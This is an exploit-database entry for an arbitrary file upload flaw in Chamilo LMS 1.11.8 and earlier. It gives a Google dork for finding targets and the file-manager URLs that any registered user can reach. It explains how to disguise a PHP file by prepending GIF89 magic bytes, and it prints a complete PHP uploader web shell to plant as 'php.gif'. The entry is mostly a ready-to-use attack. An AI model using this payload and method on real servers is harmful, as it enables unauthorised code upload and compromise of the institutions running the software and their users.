Chamillo LMS 1.11.8 – Arbitrary File Upload
# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload # Google Dork: "powered by chamilo" # Date: 2018-10-05 # Exploit Author: Sohel Yousef jellyfish security team # Software Link: https://chamilo.org/en/download/ # Version: Chamilo 1.11.8 or lower to 1.8 # Category: webapps # 1. Description # Any registered user can upload files and rename and change the file type to # php5 or php7 by ckeditor module in my files section # register here : # http://localhost/chamilo//main/auth/inscription.php # after registration you can view this sections # http://localhost/chamilo/main/social/myfiles.php # http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0 # upload your shell in gif format and then rename the format # if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before <?PHP # to be like this for examlple GIF89;aGIF89;aGIF89;a<html> <head> <title>PHP Test</title> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="upload file" name="submit"> </form> </head> <body> <?php echo '<p>FILE UPLOAD</p><br>'; $tgt_dir = "uploads/"; $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']); echo "<br>TARGET FILE= ".$tgt_file; //$filename = $_FILES['fileToUpload']['name']; echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"]; if(isset($_POST['submit'])) { if(file_exists("uploads/".$_FILES["fileToUpload"]["name"])) { echo "<br>file exists, try with another name"; } else { echo "<br>STARTING UPLOAD PROCESS<br>"; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file)) { echo "<br>File UPLOADED:- ".$tgt_file; } else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; } } } ?> </body> </html> # and uplaod it as php.gif # you can browse the files form right click and click on browse option |